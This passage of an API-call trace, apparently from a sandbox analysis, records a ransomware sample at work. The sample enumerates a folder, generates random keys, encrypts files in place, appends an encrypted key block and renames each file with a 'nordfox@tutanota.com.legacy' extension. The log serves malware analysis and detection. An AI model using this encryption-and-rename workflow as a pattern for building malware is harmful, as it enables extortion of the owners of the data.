(lpFileName="\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b4 [0101.354] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=10125) returned 1 [0101.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x278d) returned 0x5a0f80 [0101.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x278d) returned 0x5a3718 [0101.354] ReadFile (in: hFile=0x4b4, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x278d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x278d, lpOverlapped=0x0) returned 1 [0101.412] SetFilePointer (in: hFile=0x4b4, lDistanceToMove=-10125, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0101.412] WriteFile (in: hFile=0x4b4, lpBuffer=0x5a3718*, nNumberOfBytesToWrite=0x278d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a3718*, lpNumberOfBytesWritten=0x2e1f9bc*=0x278d, lpOverlapped=0x0) returned 1 [0101.413] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0101.413] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a3718 | out: hHeap=0x520000) returned 1 [0101.413] SetFilePointer (in: hFile=0x4b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x278d [0101.413] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0101.413] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584988*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584988*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0101.413] WriteFile (in: hFile=0x4b4, lpBuffer=0x584988*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584988*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0101.413] WriteFile (in: hFile=0x4b4, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0101.413] CloseHandle (hObject=0x4b4) returned 1 [0101.420] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584988 | out: hHeap=0x520000) returned 1 [0101.420] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0101.420] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1041\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0101.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0101.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0101.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0101.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0101.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0101.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0101.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0101.422] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8cf174b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0c28 [0101.422] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0101.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0101.422] GetLastError () returned 0x0 [0101.422] SetLastError (dwErrCode=0x0) [0101.423] GetLastError () returned 0x0 [0101.423] SetLastError (dwErrCode=0x0) [0101.423] GetLastError () returned 0x0 [0101.423] SetLastError (dwErrCode=0x0) [0101.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0101.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0101.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0101.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5c8 [0101.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a08e8 [0101.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a08e8 | out: hHeap=0x520000) returned 1 [0101.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201f8 [0101.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201f8 | out: hHeap=0x520000) returned 1 [0101.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5c8 | out: hHeap=0x520000) returned 1 [0101.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0101.423] FindNextFileW (in: hFindFile=0x5a0c28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8cf174b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0101.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0101.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0101.423] GetLastError () returned 0x0 [0101.423] SetLastError (dwErrCode=0x0) [0101.423] GetLastError () returned 0x0 [0101.423] SetLastError (dwErrCode=0x0) [0101.423] GetLastError () returned 0x0 [0101.423] SetLastError (dwErrCode=0x0) [0101.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670a8 [0101.423] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0101.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0101.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0101.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0928 [0101.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0928 | out: hHeap=0x520000) returned 1 [0101.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200f0 [0101.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200f0 | out: hHeap=0x520000) returned 1 [0101.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0101.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670a8 | out: hHeap=0x520000) returned 1 [0101.424] FindNextFileW (in: hFindFile=0x5a0c28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0101.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0101.424] GetLastError () returned 0x0 [0101.424] SetLastError (dwErrCode=0x0) [0101.424] GetLastError () returned 0x0 [0101.424] SetLastError (dwErrCode=0x0) [0101.424] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0101.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0101.424] GetLastError () returned 0x0 [0101.424] SetLastError (dwErrCode=0x0) [0101.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0101.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0101.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0101.425] FindNextFileW (in: hFindFile=0x5a0c28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0101.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0101.425] GetLastError () returned 0x0 [0101.425] SetLastError (dwErrCode=0x0) [0101.425] GetLastError () returned 0x0 [0101.425] SetLastError (dwErrCode=0x0) [0101.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0101.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0101.425] GetLastError () returned 0x0 [0101.425] SetLastError (dwErrCode=0x0) [0101.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0101.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0101.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0101.425] FindNextFileW (in: hFindFile=0x5a0c28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ccb2c9, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8ccb2c9, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8cf174b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0101.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0101.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0101.426] GetLastError () returned 0x0 [0101.426] SetLastError (dwErrCode=0x0) [0101.426] GetLastError () returned 0x0 [0101.426] SetLastError (dwErrCode=0x0) [0101.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0101.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0101.426] GetLastError () returned 0x0 [0101.426] SetLastError (dwErrCode=0x0) [0101.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4b0 [0101.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0101.426] FindNextFileW (in: hFindFile=0x5a0c28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0101.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0101.426] GetLastError () returned 0x0 [0101.426] SetLastError (dwErrCode=0x0) [0101.426] GetLastError () returned 0x0 [0101.426] SetLastError (dwErrCode=0x0) [0101.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0101.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0101.426] GetLastError () returned 0x0 [0101.426] SetLastError (dwErrCode=0x0) [0101.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567188 [0101.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567188 | out: hHeap=0x520000) returned 1 [0101.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0101.426] FindNextFileW (in: hFindFile=0x5a0c28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0101.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584988 [0101.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0101.426] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584988 | out: pbBuffer=0x584988) returned 1 [0101.427] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0101.427] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1042\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0101.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556848 [0101.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0101.427] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556848 | out: hHeap=0x520000) returned 1 [0101.427] CreateFileW (lpFileName="\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b8 [0101.427] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=15192) returned 1 [0101.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3b58) returned 0x5a0f80 [0101.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3b58) returned 0x5a4ae0 [0101.427] ReadFile (in: hFile=0x4b8, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x3b58, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x3b58, lpOverlapped=0x0) returned 1 [0101.505] SetFilePointer (in: hFile=0x4b8, lDistanceToMove=-15192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0101.505] WriteFile (in: hFile=0x4b8, lpBuffer=0x5a4ae0*, nNumberOfBytesToWrite=0x3b58, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a4ae0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3b58, lpOverlapped=0x0) returned 1 [0101.505] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0101.505] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a4ae0 | out: hHeap=0x520000) returned 1 [0101.505] SetFilePointer (in: hFile=0x4b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3b58 [0101.505] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0101.505] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584988*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584988*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0101.506] WriteFile (in: hFile=0x4b8, lpBuffer=0x584988*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584988*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0101.506] WriteFile (in: hFile=0x4b8, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0101.506] CloseHandle (hObject=0x4b8) returned 1 [0101.508] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584988 | out: hHeap=0x520000) returned 1 [0101.508] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0101.508] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1042\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0101.511] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0101.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0101.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0101.512] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0101.512] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584778 [0101.512] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0101.512] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584778 | out: pbBuffer=0x584778) returned 1 [0101.512] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0101.513] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1042\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0101.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0101.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0101.514] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0101.514] CreateFileW (lpFileName="\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b8 [0101.514] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=65238) returned 1 [0101.515] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfed6) returned 0x5a0f80 [0101.516] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfed6) returned 0x5b0e60 [0101.516] ReadFile (in: hFile=0x4b8, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0xfed6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0xfed6, lpOverlapped=0x0) returned 1 [0101.534] SetFilePointer (in: hFile=0x4b8, lDistanceToMove=-65238, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0101.534] WriteFile (in: hFile=0x4b8, lpBuffer=0x5b0e60*, nNumberOfBytesToWrite=0xfed6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5b0e60*, lpNumberOfBytesWritten=0x2e1f9bc*=0xfed6, lpOverlapped=0x0) returned 1 [0101.534] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0101.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5b0e60 | out: hHeap=0x520000) returned 1 [0101.536] SetFilePointer (in: hFile=0x4b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xfed6 [0101.536] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0101.536] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0101.537] WriteFile (in: hFile=0x4b8, lpBuffer=0x584778*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584778*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0101.537] WriteFile (in: hFile=0x4b8, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0101.537] CloseHandle (hObject=0x4b8) returned 1 [0101.540] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584778 | out: hHeap=0x520000) returned 1 [0101.540] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0101.540] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1042\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0101.542] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0101.542] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0101.542] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0101.542] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0101.542] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x583f38 [0101.542] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0101.542] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x583f38 | out: pbBuffer=0x583f38) returned 1 [0101.542] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0101.542] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1042\\eula.rtf", dwFileAttributes=0x80) returned 1 [0101.542] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d5b0 [0101.542] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0101.542] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0101.542] CreateFileW (lpFileName="\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b8 [0101.542] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=12687) returned 1 [0101.542] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x318f) returned 0x5a0f80 [0101.542] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x318f) returned 0x5a4118 [0101.543] ReadFile (in: hFile=0x4b8, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x318f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x318f, lpOverlapped=0x0) returned 1 [0101.787] SetFilePointer (in: hFile=0x4b8, lDistanceToMove=-12687, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) 